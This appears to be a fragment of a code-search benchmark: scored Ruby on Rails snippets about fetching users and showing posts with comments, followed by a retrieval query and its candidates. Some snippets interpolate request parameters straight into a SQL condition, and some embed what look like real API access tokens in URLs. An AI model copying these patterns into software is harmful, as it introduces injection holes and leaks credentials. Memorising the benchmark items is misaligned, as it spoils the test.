"docid": "eeb49a366692b9503b964b24914a9bd6",
"score": "0.6132768",
"text": "def get_locations\n directions = User.find(params[:user_id]).directions\n\n render json: {directions: directions}\n end",
"title": ""
},
{
"docid": "fce0e8e480deef94e823dc0727a4189b",
"score": "0.61317414",
"text": "def user(id, query={})\n perform_get(\"/api/1/users/#{id}\", :query => query)\n end",
"title": ""
},
{
"docid": "f0733641eb9e871c635b18cbb1d83cd5",
"score": "0.61224777",
"text": "def get_user_listing(user, type, params = {})\n name = extract_attribute(user, :name)\n path = \"/user/#{name}/#{type}.json\"\n params[:show] ||= :given\n\n object_from_response :get, path, params\n end",
"title": ""
},
{
"docid": "c1e3be0e371180f83dc3b7b8dc8b6320",
"score": "0.61189234",
"text": "def user_info\n render json: current_user, only: [:id, :name, :age, :phone_number, :city, :zipcode, :bio, :facebook_image], include: [:sports]\n end",
"title": ""
},
{
"docid": "a2a1ffb8621d54d1572de4834afb521c",
"score": "0.61180586",
"text": "def index\n\n if params[:q]\n @users = User.load_users(current_user,search_params[:site],search_params[:hasphone])\n else\n @users = User.load_users(current_user)\n end\n\n respond_to do |format|\n format.html\n format.json\n # format.js\n format.js do\n render :json => User.jsonp_format(@users), :callback => params[:callback]\n end\n end\n end",
"title": ""
},
{
"docid": "585955453725fdc2b53796246ab9c0e1",
"score": "0.60987043",
"text": "def fetch_user\n url = 'https://randomuser.me/api?inc=name,dob'\n JSON.parse(open(url).read)['results'][0]\nend",
"title": ""
},
{
"docid": "d932bb415028991f3c4693551ad2c8d8",
"score": "0.60851765",
"text": "def find_users\n url = \"%s/_design/User/_view/all?reduce=false&include_docs=true\" % @url\n http = EM::HttpRequest.new(url).get\n http.errback { yield [] }\n http.callback do\n doc = if http.response_header.status == 200\n rows = JSON.parse(http.response)['rows'] rescue []\n rows.map {|row| row['doc'] }\n end\n yield doc || []\n end\n end",
"title": ""
},
{
"docid": "a2c1496955488bf3bb3f08b5c7ed033c",
"score": "0.6084918",
"text": "def users(id = nil)\n uri = if id\n File.join(base_uri, 'users', id)\n else\n File.join(base_uri, 'users')\n end\n\n http = call_kavlan(uri, :get)\n continue_if!(http, is: [200])\n\n JSON.parse(http.body)\n end",
"title": ""
},
{
"docid": "a00b88433b1e082a8987611f0dfffe7f",
"score": "0.60837966",
"text": "def user_info\n @user = User.where(\"id = #{params[:user_id]}\")\n # render json: user\n end",
"title": ""
},
{
"docid": "ea8a5260c2a34bbb467b656c07acd4ef",
"score": "0.60832065",
"text": "def users(opts={})\n @users ||= scoped_get('/customization/users',opts)\n end",
"title": ""
},
{
"docid": "547ee8320c451962646ae270ce13d105",
"score": "0.6081342",
"text": "def users\n render json: {}.to_json if current_user.organization.nil?\n \n render json: current_user.organization.to_poro[:users]\n end",
"title": ""
},
{
"docid": "2d95f9c6c3ba86d349c291a5fd9d63ac",
"score": "0.6080935",
"text": "def user\n authorization = Songkick::OAuth2::Provider.access_token(nil, [], env)\n response.headers = authorization.response_headers\n response.status = authorization.response_status\n\n if authorization.valid?\n user = authorization.owner\n hash = {\n :provider => 'tripolis',\n :id => user.id.to_s,\n :info => {\n :email => user.username,\n :name => user.username,\n :customdb => \"Y\"\n }\n }\n\n render :json => hash\n\n else\n redirect_to :error\n end\n\n end",
"title": ""
},
{
"docid": "d8d5ee800329946a6926dc83f70f26b8",
"score": "0.6065459",
"text": "def alt\n @json = User.all.to_gmaps4rails\n end",
"title": ""
},
{
"docid": "2dea3d6553b501ac2f2f4f910ca9be56",
"score": "0.60603756",
"text": "def users(*args)\n options = args.last.is_a?(Hash) ? args.pop : {}\n response = get('users', options)\n response\n end",
"title": ""
},
{
"docid": "176c028672ce6c34fb069f991759f653",
"score": "0.60577244",
"text": "def search_users(q, options={})\n self.class.get(\"/users/search.json\", :query => options.merge({:q => q}))\n end",
"title": ""
},
{
"docid": "8c3295a2b14f87e0d6ea292059b00edb",
"score": "0.60534143",
"text": "def get_user\n\t\tuser = AccountUser.find_by account_url: params[:id]\t\t\n\t\tif user\n\t\t render :json => user\n\t\telse\n\t\t render :json => 0 \n\t\tend\n\tend",
"title": ""
},
{
"docid": "ab0486627e152a56cda54ea6a9bc3fc7",
"score": "0.6051549",
"text": "def users\n @users = Spree.user_class.ransack({\n :m => 'or',\n :email_start => params[:q],\n :ship_address_firstname_start => params[:q],\n :ship_address_lastname_start => params[:q],\n :bill_address_firstname_start => params[:q],\n :bill_address_lastname_start => params[:q]\n }).result.limit(params[:limit] || 100)\n\n respond_with(@users) do |format|\n format.json do\n address_fields = [:firstname, :lastname,\n :address1, :address2,\n :city, :zipcode,\n :phone, :state_name,\n :state_id, :country_id]\n includes = {\n :only => address_fields,\n :include => {\n :state => { :only => :name },\n :country => { :only => :name }\n }\n }\n\n json = @users.to_json({\n :only => [:id, :email],\n :include => { :bill_address => includes, :ship_address => includes }\n })\n\n render :json => json\n end\n end\n end",
"title": ""
},
{
"docid": "b7f893411aa0a30a20a26dadbd483df5",
"score": "0.6050108",
"text": "def show_users(**params)\n get('users', params)\n end",
"title": ""
},
{
"docid": "5a2b7963ab17292ecee2f8263f92b100",
"score": "0.604759",
"text": "def index\n @users = User.resource[@current_user['id']].get\n render json: @users\n end",
"title": ""
},
{
"docid": "3c5e22893d22043de2539eab250264ad",
"score": "0.6042774",
"text": "def index\n uri = \"#{API_BASE_URL}/users.json\"\n rest_resource = RestClient::Resource.new(uri,USERNAME, PASSWORD)\n users = rest_resource.get\n @users = JSON.parse(users, :symbolize_names => true)\n end",
"title": ""
},
{
"docid": "5b5a295d9a100eb99c7b0acddf458c6c",
"score": "0.6038387",
"text": "def fetched_user_data(token)\n JSON.parse(URI.parse(\n \"https://www.googleapis.com/oauth2/v1/userinfo?alt=json&access_token=#{token}\"\n ).read).with_indifferent_access\n end",
"title": ""
},
{
"docid": "93a0fef3e882c742575f7b75e7c85f92",
"score": "0.60270476",
"text": "def index\n uri = \"#{API_BASE_URL}/users.json\" # specifying json format in the URl\n rest_resource = RestClient::Resource.new(uri, USERNAME, PASSWORD)\n users = rest_resource.get\n @users = JSON.parse(users, :symbolize_names => true)\n end",
"title": ""
},
{
"docid": "b69252f849fb98514e1538487b2eb5e5",
"score": "0.6026648",
"text": "def user_profile\n @response = JSON.parse(@rest['users/profile'].get)\n end",
"title": ""
},
{
"docid": "1db0925515b3ab05f0d84bc6c61f02b7",
"score": "0.60265905",
"text": "def get_users(limit = 100, offset = 0, conditions = {})\n params = extract_query_params conditions\n\n params['limit'] = limit\n params['offset'] = offset\n\n request :get,\n '/v3/team/users.json',\n params\n end",
"title": ""
},
{
"docid": "6092373544781919e42a7f56772b8bba",
"score": "0.6024201",
"text": "def show\n # user = User.find(params)\n user = User.all # hardcoding in first user\n render json: user\n end",
"title": ""
},
{
"docid": "343fbf1bf6d70763a7c6d69b9e83d0b6",
"score": "0.60219115",
"text": "def get_user_listing username, opts = {}\n opts[:type] = 'overview' if opts[:type].nil?\n url = \"/user/%s%s.json\" % [username, ('/' + opts[:type] if opts[:type] != 'overview')]\n opts.delete :type\n query = opts\n get(url, query: query)\n end",
"title": ""
},
{
"docid": "cbdc21cee11cf48ec2414873bcf3b4f8",
"score": "0.6019878",
"text": "def users(options={})\n response = connection.get do |req|\n req.url \"users\", options\n end\n return_error_or_body(response)\n end",
"title": ""
},
{
"docid": "c97180304311943767fa21c037559683",
"score": "0.601817",
"text": "def users\n puts \"SEARCH USERS\"\n @users = User.search(params[:q])\n puts \"SEARCH USERS COUNT:#{@users.count}\"\n render :json => @users.as_json(:current_user => current_user)\n end",
"title": ""
},
{
"docid": "f13b4b79ef99790c1cccd2c6738222d4",
"score": "0.60117155",
"text": "def get_user_with_token\n\tagent = set_token(params[:token])\n\tpage = agent.get('http://catalog.tadl.org')\n\tdoc = page.parser\n\tuser_info = doc.css(\"body\").map do |item|\n {\n :name => item.at_css('#dash_user').try(:text).try(:strip),\n :checkouts => item.at_css('#dash_checked').try(:text).try(:strip),\n :holds => item.at_css('#dash_holds').try(:text).try(:strip),\n :pickups => item.at_css('#dash_pickup').try(:text).try(:strip),\n :fines => item.at_css('#dash_fines').try(:text).try(:strip),\n }\n\tend\n\trespond_to do |format|\n\t\tformat.json { render :json =>{:user => user_info }}\n\tend\t\nend",
"title": ""
},
{
"docid": "e9e6bae0bdc11578f3569d477443bec2",
"score": "0.6004715",
"text": "def users options = {}\n perform_get_with_object(\"/groups/#{get_id}/users\", options, Vimeo::Entities::User)\n end",
"title": ""
},
{
"docid": "61b24d664b6289d8f79cdc125e09d39c",
"score": "0.6000011",
"text": "def find_places(lat, lon, radius = 800, limit = 10, user_id)\n\t\t\tbegin\n\t\t\t\tif (radius == nil || radius == 0)\n\t\t\t\t\tradius = 800\n\t\t\t\tend\n\n\t\t\t\tif limit == nil || limit == 0\n\t\t\t\t\tlimit = 10\n\t\t\t\tend\n\n\t\t\t\turl = API + \"search?ll=\" +\n\t\t\t\tlat + \",\" + lon +\n\t\t\t\t\"&oauth_token=KTJ1J4EKELCSQ5TKGIZTNQ1PWB5Q2W5SYV3QXDGV2BC4TISG&v=20131129&intent=browse&limit=\" +\n\t\t\t\tlimit + \"&radius=\" + radius\n\n\t\t\t\tvenues = JSON.parse(open(url).read)\n\n\t\t\t\tvenues = venues[\"response\"][\"venues\"]\n\n\t\t\t\tplaces = venues.map do |u|\n\t\t\t\t\tif (u[\"categories\"][0] != nil)\n\t\t\t\t\t\ticon = u[\"categories\"][0][\"icon\"][\"prefix\"] + \"bg_32\" + u[\"categories\"][0][\"icon\"][\"suffix\"]\n\t\t\t\t\telse\n\t\t\t\t\t\ticon = \"https://ss1.4sqi.net/img/categories_v2/building/default_bg_32.png\"\n\t\t\t\t\tend\n\n\t\t\t\t\t{ :id => u[\"id\"],\n :followed_place_id => find_followed_place_id(u[\"id\"], user_id),\n\t\t\t\t\t\t:longitude => u[\"location\"][\"lng\"],\n\t\t\t\t\t\t:latitude => u[\"location\"][\"lat\"],\n\t\t\t\t\t\t:name => u[\"name\"],\n\t\t\t\t\t\t:postcode => u[\"location\"][\"postalCode\"],\n\t\t\t\t\t\t:city => u[\"location\"][\"city\"],\n\t\t\t\t\t\t:address => u[\"location\"][\"address\"],\n\t\t\t\t\t\t:country => u[\"location\"][\"country\"],\n\t\t\t\t\t\t:icon => icon\n\t\t\t\t\t}\n\t\t\t\tend\n\t\t\t\tdata = {:responseCode => 0, :responseMessage => \"success\", :result => {:places => places}}\n\t\t\trescue => e\n\t\t\t\tdata = [:responseCode => 1, :responseMessage => \"error\", :result => {:error => \"Bad input for latitude(double), longitude(double), radius(int), and limit(int).\"}]\n\t\t\tend\n\t\tend",
"title": ""
},
{
"docid": "3c8a1a46d9deadd281c0a009b79dc68f",
"score": "0.59980476",
"text": "def list_hubspot_users\n res = Hubspot::Contact.all.map(&:properties)\n render_json(200, res)\n end",
"title": ""
},
{
"docid": "534a73f88adadbc9f8b02cde54e0fe24",
"score": "0.59938055",
"text": "def grab_user_info\n doc = GoogleData.get(@user_id, design: \"user_info\", view: \"by_user_id\", housekeeping: true)\n if doc.nil?\n puts \"fetching user_info for #{@user_id} from google\"\n user_info = google_api.user_info\n puts \"adding user info to db #{user_info}\"\n doc = user_info << {\"type_\" => \"userInfo\"}\n resp = GoogleData.put(doc)\n else\n puts \"found #{doc}\"\n end\n @user_info = doc\n end",
"title": ""
},
{
"docid": "9c5254e09112c8d3258112e947ed5b18",
"score": "0.59889704",
"text": "def show\n\t@markers = Marker.order(\"name\").page(params[:page]).per(4)#Marker.all\n\t\n @user = User.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @user }\n end\n end",
"title": ""
},
{
"docid": "9763e00eb9294fd577a2a3ec0c63b61b",
"score": "0.5968916",
"text": "def index\n @places = Place.where(:user_id => session[:user_id])\n @user_markers = Gmaps4rails.build_markers(@places) do |place, marker|\n marker.lat place.latitude\n marker.lng place.longitude\n marker.infowindow place.address\n marker.picture({\n \"url\" => \"https://cdn3.iconfinder.com/data/icons/location-vol-2/128/location-15-32.png\",\n \"width\" => 32,\n \"height\" => 32})\n end\n end",
"title": ""
},
{
"docid": "9eb0e06d9031deafb85b2e08fc0c7e0e",
"score": "0.5966448",
"text": "def show\n @user = User.find(params[:id])\n @listings = @user.listings\n @json = @listings.all.to_gmaps4rails\n\n render :layout => 'profile'\n @title = \"realtor profile\"\n end",
"title": ""
},
{
"docid": "779a8e028368c1a5b25ded5ffa27b25d",
"score": "0.5966228",
"text": "def google\n user = User.find_or_create_by(user_params)\n user.save(validate: false) unless user.persisted?\n\n render json: { token: JsonWebToken.encode(sub: user.id), user: { id: user.id, email: user.email } }, status: :ok\n end",
"title": ""
},
{
"docid": "2e0253ae1194f69c0263c671df0924eb",
"score": "0.5966221",
"text": "def show\n user = load_user(params)\n send_json(user)\n end",
"title": ""
},
{
"docid": "365a065dfa3efc893dff2ec1751a8370",
"score": "0.5965732",
"text": "def users\n get('/api/v1/users.json').map do |user|\n User.new(self, user)\n end\n end",
"title": ""
},
{
"docid": "512f81425caa499107dbe856c89173f9",
"score": "0.5965041",
"text": "def users\n @page = 'users'\n respond_to do |format|\n format.html {\n @users = User.find(:all)\n @admins = User.admins_and_creators\n @pending_users = User.pending_users\n }\n format.json {}\n end \n end",
"title": ""
},
{
"docid": "cd3da91bb5866bed9ad963533be6f184",
"score": "0.5950851",
"text": "def get_orgs_for_user\n user_id = params[:user_id]\n @user_orgs = UserOrg.organizations(user_id)\n render json: @user_orgs\n end",
"title": ""
},
{
"docid": "111bd81afd12162fa9d7b3acd32b4f9d",
"score": "0.5948612",
"text": "def users(since:)\n resp = get(\"/users?since=#{since}\")\n JSON.parse(resp.body)\n end",
"title": ""
},
{
"docid": "5b83a7144d4b652662fff3bec392aa24",
"score": "0.59438133",
"text": "def index\n if params[:user_id]\n @suggestions = find_user.suggestions\n render json: @suggestions\n else\n @suggestions = Suggestion.all\n render json: @suggestions\n end\n end",
"title": ""
},
{
"docid": "6a7239ace3b8472af5316e19b53e67af",
"score": "0.5933941",
"text": "def get_users(id)\n call(:get, \"/users/#{id}\")\n end",
"title": ""
},
{
"docid": "481985fce93c345545e01c710a7d2950",
"score": "0.5928107",
"text": "def get_user_info\n request :get_user_info\n end",
"title": ""
},
{
"docid": "c019dbdaf7f81c23ef5f05bfb29dad0d",
"score": "0.59268665",
"text": "def index\n @nb_users = NbUser.all\n @response = HTTParty.get(\"https://brianmcauley.nationbuilder.com/api/v1/people?__nonce=adb0731da1b0cf4f6f230c898f8e746b3142a1157bcf9dd9745388f3bbe6358b&limit=200&__proto__=&access_token=adb0731da1b0cf4f6f230c898f8e746b3142a1157bcf9dd9745388f3bbe6358b\",\n :headers => { 'Content-Type' => 'application/json', 'Accept' => 'application/json'})\n @result = @response.body\n respond_to do |format|\n format.json { render :json => JSON.parse(@result) }\n format.html { render \"index.html.erb\" }\n end\n end",
"title": ""
}
] |
9918d0c34a1448ba641205fd5a6fecd8
|
shows a given post based on its parameters, comments, and new comment field
|
[
{
"docid": "261bc0cc7141bab27ec34feca938b486",
"score": "0.68979704",
"text": "def show\n @post = Post.find(params[:id])\n @comments = @post.comments\n @comment = Comment.new if signed_in?\n end",
"title": ""
}
] |
[
{
"docid": "a00e01052ab055530aa30cc15dbe1094",
"score": "0.7510447",
"text": "def show\n @comments = @post.comments\n @comment = Comment.new\n end",
"title": ""
},
{
"docid": "c676c7adca5c5808aa9a4553376415dd",
"score": "0.7404506",
"text": "def show\n @post = Post.find(params[:id])\n @comments = Post.where(:originatingPost_id => params[:id])\n end",
"title": ""
},
{
"docid": "1a735f43225ce41a58cb97350be8de23",
"score": "0.74035263",
"text": "def show\n @comment = Comment.new\n @comments = @post.comments\n end",
"title": ""
},
{
"docid": "b8e6d582af5f52a80f9bf3b9277530c0",
"score": "0.73687196",
"text": "def show\n @comments = Comment.where(post_id: params[:id])\n @post = Post.find_by(id: params[:id])\n end",
"title": ""
},
{
"docid": "c3b8a85775d730553c2e9fcf33ab9ebb",
"score": "0.7327702",
"text": "def show\n \t@post = Post.find(params[:post_id])\n \t@comment = @post.comments.find(params[:id])\n end",
"title": ""
},
{
"docid": "6e8bbec91f3c1656d5507a891804f6fe",
"score": "0.7326654",
"text": "def show\n @post = Post.find(params[:id])\n \n # Post wasn't completely uploaded (probably exited during crop)\n if @post.image_file_name.nil?\n render_404\n return \n end\n \n @comments = @post.comments\n \n # Add description to comments if it exists\n @description_comment = Comment.new({ :user_id => @post.user.id, :blurb => @post.description })\n @description_comment.created_at = @post.created_at\n @comments = [@description_comment] + @comments if @post.description != ''\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @post }\n end\n end",
"title": ""
},
{
"docid": "6f78c9ec7d0a4ad3dbb49dd8a8800327",
"score": "0.72957677",
"text": "def show\n @post = Post.find(params[:id])\n @comments = Comment.where(:post_id => params[:id])\n end",
"title": ""
},
{
"docid": "20cd3568cab80218f384c5522e925785",
"score": "0.7265526",
"text": "def show\n @comments = @post.comments\n end",
"title": ""
},
{
"docid": "8a345427733c6f4885b9bf7f523b957c",
"score": "0.72195446",
"text": "def show\n\t\n @post = Post.find(params[:id])\n\t@title = @post.title\n\t@postcomment = @post.postcomments.new\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @post }\n end\n end",
"title": ""
},
{
"docid": "a017b318c977a32b97f22c62f375fe82",
"score": "0.7183146",
"text": "def show\n @post = Post.find(params[:id])\n @comments = @post.comments\n @comment = Comment.new\n end",
"title": ""
},
{
"docid": "6ede163d225abb5bc2b9eb1adc698e2e",
"score": "0.71382064",
"text": "def show\n @comments = Comment.where(post_id: params[:id])\n end",
"title": ""
},
{
"docid": "3040549a86b1929652bb7805b2f876fa",
"score": "0.7137155",
"text": "def show\n redirect_to pretty_post_url(@post) + \"#comment_#{params[:id]}\"\n end",
"title": ""
},
{
"docid": "8063ba17f8e8425a76439df541d954f2",
"score": "0.71081084",
"text": "def show\n kiss_record \"View blog post\"\n if admin_signed_in?\n @post = Post.find_by_title_for_url(params[:id])\n else\n @post = Post.where(:draft => false).find_by_title_for_url(params[:id])\n end\n if session[:comment].nil?\n @comment = @post.comments.new\n else\n @comment = session[:comment]\n end\n\t\t@comments = @post.comments.all.reverse\n end",
"title": ""
},
{
"docid": "c6762bea92af73c82b008eaa9af533f4",
"score": "0.7097408",
"text": "def show\n @comments = @posting.forest\n end",
"title": ""
},
{
"docid": "789831b35e1d87dcf4e87078e7f4681f",
"score": "0.7092012",
"text": "def show\n\t @comment = @post.comments.find_by(id: params[:id])\n\tend",
"title": ""
},
{
"docid": "1eaafcc75e32b5a166c8a260f58f7311",
"score": "0.7090244",
"text": "def show\n\n @post = Post.find(params[:id])\n @responses = @post.post_replies.live.limit(10)\n @title = @post.display_title\n @comment = Comment.new\n @comments = @post.comments.created_recent.paginate(:page => params[:page], :per_page => 5)\n if @comments.count > 15\n @top_comments = @post.comments.top(2)\n else\n @top_comments = []\n end\n\n if @post.text? && @post.draft?\n redirect_to edit_post_path(@post)\n return\n end\n\n if current_user\n @post.add_postview_for_user(@current_user.id)\n else\n @post.add_postview_for_user(0)\n end\n\n\n @body_class = 'off-canvas'\n\n respond_to do |format|\n format.html # show.html.erb\n format.js\n end\n end",
"title": ""
},
{
"docid": "a106f6fd31f218e82d95c6164e978ec2",
"score": "0.7090037",
"text": "def show\n @post = Post.find(params[:id])\n \n @parti = EventsUser.find_by_user_id_and_event_id current_user.id, @post.event\n \n @tags = @post.tag_list\n \n @taggings = Post.tag_counts\n \n @community = Community.find @post.community_id unless @post.community_id == 0\n \n @at_file = Datafile.find_by_model_id_and_model_name @post.id, \"Post\",:conditions => {:avatar => 0}\n \n @comments = @post.comments\n \n @bookmark = Bookmark.find_all_by_bookmarkable_id_and_user_id @post.id, current_user.id\n \n if @post.commentable == 1\n @can_commentable = true\n else\n @can_commentable = false\n end\n \n @timeleft = nil\n @show_form = false\n \n if observe_last_comment(@comments.last, @timeleft)\n @show_form = true\n else\n @remaining_time = @timeleft\n @show_form = false\n end \n \n respond_to do |format|\n format.html\n format.xml { render :xml => @post.to_xml }\n end\n end",
"title": ""
},
{
"docid": "3c426dc6264455ca92f2fa551af4449e",
"score": "0.7013411",
"text": "def show\n logger.info(\"comments got show! #{params}\");\n @comments = Comment.find_by_post_id(params[:post_id])\n respond_with @comments\n end",
"title": ""
},
{
"docid": "ba9fc4048562bd601e9523bf481068dd",
"score": "0.70058864",
"text": "def show\n @post = Post.find_by_id(params[:id])\n @comment = Comment.new\n end",
"title": ""
},
{
"docid": "fae8b906489d10f7e07dcec878edc35d",
"score": "0.70047873",
"text": "def show_post\n @comment = Comment.find(params[:cmt_id])\n end",
"title": ""
},
{
"docid": "18c5e6d76e0ab9350c8e4409c0b308a5",
"score": "0.70034236",
"text": "def show\n @comment = @post.comments.build\n end",
"title": ""
},
{
"docid": "a089fa90135575768489c5b2f842696f",
"score": "0.6994004",
"text": "def show\n @comment = Comment.new\n @comment.post_id = @post.id\n end",
"title": ""
},
{
"docid": "9636ec393650096b9b6bdcac87f4570b",
"score": "0.69875467",
"text": "def show\n @post = Post.find(params[:id])\n @comment = Comment.new\n end",
"title": ""
},
{
"docid": "a2457e508ae1a9a5edd1a2fa6a0cdf8d",
"score": "0.6972902",
"text": "def show\n require \"digest\"\n @post = Post.find(params[:id])\n if(@post.visible != true && (!session[:author] || session[:author].id != @post.author_id))\n flash[:error] = \"El post solicitado es invisible\"\n redirect_to \"/posts\"\n end\n @comments = @post.comments.paginate(:page => params[:page])\n @comment = Comment.new\n end",
"title": ""
},
{
"docid": "d9b9d56358f330b4bc85e64faa2acf22",
"score": "0.69722974",
"text": "def show\n @comment = Comment.new\n @comments = if params[:comment]\n @post.comments.where(id: params[:comment])\n else\n @post.comments.where(parent_id: nil)\n end\n\n @comments = @comments.order('created_at asc').paginate(page: params[:page], per_page: 2)\n\n end",
"title": ""
},
{
"docid": "1e3fb94faa520ae4820ece3851e226ac",
"score": "0.69714797",
"text": "def show\n @post = Post.find(params[:id])\n @commentable = @post\n @comments = @commentable.comments\n @comment = Comment.new\n \n end",
"title": ""
},
{
"docid": "1e3fb94faa520ae4820ece3851e226ac",
"score": "0.69714797",
"text": "def show\n @post = Post.find(params[:id])\n @commentable = @post\n @comments = @commentable.comments\n @comment = Comment.new\n \n end",
"title": ""
},
{
"docid": "0ae7e802cba4003dfc985356749e58b8",
"score": "0.69634044",
"text": "def show\n # pre-sorting the comments means that when we tree them, they'll be encountered in the sorted order.\n comments = @post.comments.sort { |x,y| x.c_at <=> y.c_at }\n @comment_list = PostsHelper.tree_comments comments\n @posts = Post.where category: @post[:category]\n @category = @post[:category]\n end",
"title": ""
},
{
"docid": "b71a997a3d3068a42b9d3bd1a2b9ac11",
"score": "0.6959492",
"text": "def show\n @comment = Comment.new\n @comment.post_id = @post.id\n end",
"title": ""
},
{
"docid": "dd7f2092aff7021149240cf71fa50efa",
"score": "0.6957377",
"text": "def show\n @comment = @post.comments.find(params[:id])\n end",
"title": ""
},
{
"docid": "7d70336b3785626aa08e01af5286c53a",
"score": "0.69284517",
"text": "def show\n\t\tPost.update_counters(params[:id], :views => 1)\n @post = Post.find(params[:id])\n\t\t@comments = Comment.find(:all, :conditions => { :post_id => params[:id] })\n @comment = Comment.new\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @post }\n end\n end",
"title": ""
},
{
"docid": "657ffb71b12837caec7aacbcada736d5",
"score": "0.69277793",
"text": "def show\n logger.debug(\"***comment show*** #{params}\")\n @blog = Blog.find(params[:blog_id])\n @entry = Entry.find(params[:entry_id])\n @comment = @entry.comments.find(params[:id])\n end",
"title": ""
},
{
"docid": "6dd188b1213a350082ef6aad39b8c5a3",
"score": "0.6909371",
"text": "def show\n # @comment = Post.find(params[:id]).comments.build\n end",
"title": ""
},
{
"docid": "21724a825b024db4fc9d1dc785c9bfc8",
"score": "0.6867121",
"text": "def show\n @post = Post.find_by_short_id!(params[:id])\n\n @short_url = @post.short_id_url\n\n @comments = Comment.ordered_for_post_or_thread_for_user(@post.id, nil,\n current_user)\n\n respond_to do |format|\n format.html {\n @comment = Comment.new\n\n render :action => \"show\"\n }\n format.json {\n render :json => @post.as_json(:with_comments => @comments)\n }\n end\n\n end",
"title": ""
},
{
"docid": "de9fc87413333590438b880f696106e9",
"score": "0.68630344",
"text": "def show\n # parama [:id] will look for the id in the URL\n\n # this basically retrieve the post with a specific id\n @post = Post.find(params[:id])\n @comment = Comment.new\n end",
"title": ""
},
{
"docid": "dd5d51eab858673bfa09dbab877d80e2",
"score": "0.6843864",
"text": "def show\n @post = Post.find(params[:id])\n @comments = Comment.where(:post_id => params[:id]).order(\"id desc\")\n @comments = @comments.page(params[:page]).per(20)\n @comment = Comment.new\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @post }\n end\n end",
"title": ""
},
{
"docid": "ef22ae30a678a217bb1f2bc9f47cdb0a",
"score": "0.68301326",
"text": "def show\n @comments = @post.comments.all\n end",
"title": ""
},
{
"docid": "7fab9b5fb693a93e02ac1ebc9e90c267",
"score": "0.6829944",
"text": "def show\n @post = Post.find(params[:id])\n @comments = @post.comments.all\n @comment = @post.comments.new\n @user = current_user\n @title = @post.title\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @post }\n end\n end",
"title": ""
},
{
"docid": "814483b65cfb6fad62be85b6dcf8ec93",
"score": "0.6817075",
"text": "def show\n\t@re_post = RePost.new\n\t@comment = RePost.where(alram_test_id: @alram_test.id).order(:id)\n end",
"title": ""
},
{
"docid": "3d2473f2c950794c5e37e361bea63b06",
"score": "0.67995197",
"text": "def for_post\n @post = Post.find(params[:post_id])\n @comments = @post.comments\n @comment = @post.comments.new(user_id: current_user.id)\n end",
"title": ""
},
{
"docid": "d2ab16ee9c20cd1c14886005eb627e9f",
"score": "0.6790005",
"text": "def show\n @last_posts = Post.order('created_at DESC').limit(10) #se recogen los 10 posts mas recientes.\n @comment = Comment.new() # Se crea un comentario vacio que será el que se salve si el usuario escribe un comentario en alguno de los posts.\n @post = Post.find(params[:id])\n @title = \"The unfolding blue box: \" + @post.title\n @tags = Tag.all\n @meta_tags = @post.tags.all\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @post }\n end\n end",
"title": ""
},
{
"docid": "24b349768f167a73e09e7d5481cdc0b0",
"score": "0.67526245",
"text": "def show\r\n @blog_post = BlogPost.find(params[:id])\r\n @blog_post_comment = BlogPostComment.new\r\n @blog_post_comments = BlogPostComment.paginate(page: params[:page], per_page: 10, conditions: [\"blog_post_id = ?\", params[:id]], order: \"created_at DESC, id DESC\")\r\n end",
"title": ""
},
{
"docid": "754c5f3d32640bfcc11fd4086fed9493",
"score": "0.6749267",
"text": "def show\n # params[:id] will look for the id in the URL\n\n # this basically retrieve the post with a specific id\n @post = Post.find(params[:id])\n\n # empty comment object\n @comment = Comment.new\n end",
"title": ""
},
{
"docid": "64654852699acd0b2457c99932e4261d",
"score": "0.6745444",
"text": "def show\n @post = Post.find(params[:id])\n @comments = @post.comments.all\n end",
"title": ""
},
{
"docid": "64654852699acd0b2457c99932e4261d",
"score": "0.6745444",
"text": "def show\n @post = Post.find(params[:id])\n @comments = @post.comments.all\n end",
"title": ""
},
{
"docid": "8e394c2d15a1ebd31cffe9b56500d2c4",
"score": "0.6729442",
"text": "def show_comments(post_num_input)\n puts ''\n puts '----COMMENTS----'\n BLOG[post_num_input].comments.each do |x|\n puts x.username\n puts x.comment\n puts ''\n end\n puts ''\n end",
"title": ""
},
{
"docid": "cdea9b55f878dd9ef42b21736c7c1dd3",
"score": "0.67178106",
"text": "def show\n\n redirect_to controller: 'pages', action: 'dashboard', post_id: @post.id and return\n\n if params[:comment_order] == 'newest'\n @comments = @post.comments.order(created_at: :desc)\n elsif params[:comment_order] == 'upvote'\n @comments = @post.comments.sort_by{|x| count_opinion(x.opinions)}\n elsif params[:comment_order] == 'happiness'\n # SHOULD store sentiment as a field upon save\n # @comments = @post.comments.sort_by{|x| JSON.parse(Sentimentalizer.analyze(x.content).to_json). }\n elsif params[:comment_order] == 'distress'\n else\n @comments = @post.comments\n end\n end",
"title": ""
},
{
"docid": "53f31dc7818b5469bf9339878bf5d56b",
"score": "0.671645",
"text": "def show\n# 아직 이럴 필요까진 없는 듯...\n# @comments = if params[:comment]\n# @post.comments.where(id: params[:comment])\n# else\n# @post.comments.where(parent_id: nil)\n# end\n# @comments = @comments.page(params[:page].per(5)\n end",
"title": ""
},
{
"docid": "b730f7c63d26abba7c3fa32f885ce2ce",
"score": "0.67155755",
"text": "def show\n @post = @post_block.post\n end",
"title": ""
},
{
"docid": "4f32e8cb70246986204bcfe51376197c",
"score": "0.66809344",
"text": "def show\n\t\t@post = Post.find(params[:id])\n\t\[email protected]_count += 1\n\t\[email protected]\n\t\t@comment = Comment.new # 이거 안적으니까 지난 시간 구하는거에서 에러나\n\t\trespond_to do |format|\n\t\t\tformat.html { render :action => \"show\" }\n\t\t\tformat.js { render :file => \"posts/show.js.erb\" }\n\t\tend\n\tend",
"title": ""
},
{
"docid": "405f8e823c603b3ca98928be3f4d884a",
"score": "0.66764796",
"text": "def show\n @comments = Comment.where(\"submission_id=\" + (params[:id])).order(\"created_at DESC\")\n end",
"title": ""
},
{
"docid": "33f2793c66ff512a1b1a2e82daea9ef9",
"score": "0.6676122",
"text": "def show\n @post = Post.find(params[:id], include: :comments, order: 'comments.id')\n @comment = Comment.new\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @post }\n end\n end",
"title": ""
},
{
"docid": "9683060c687113ed5683e60919341537",
"score": "0.66513884",
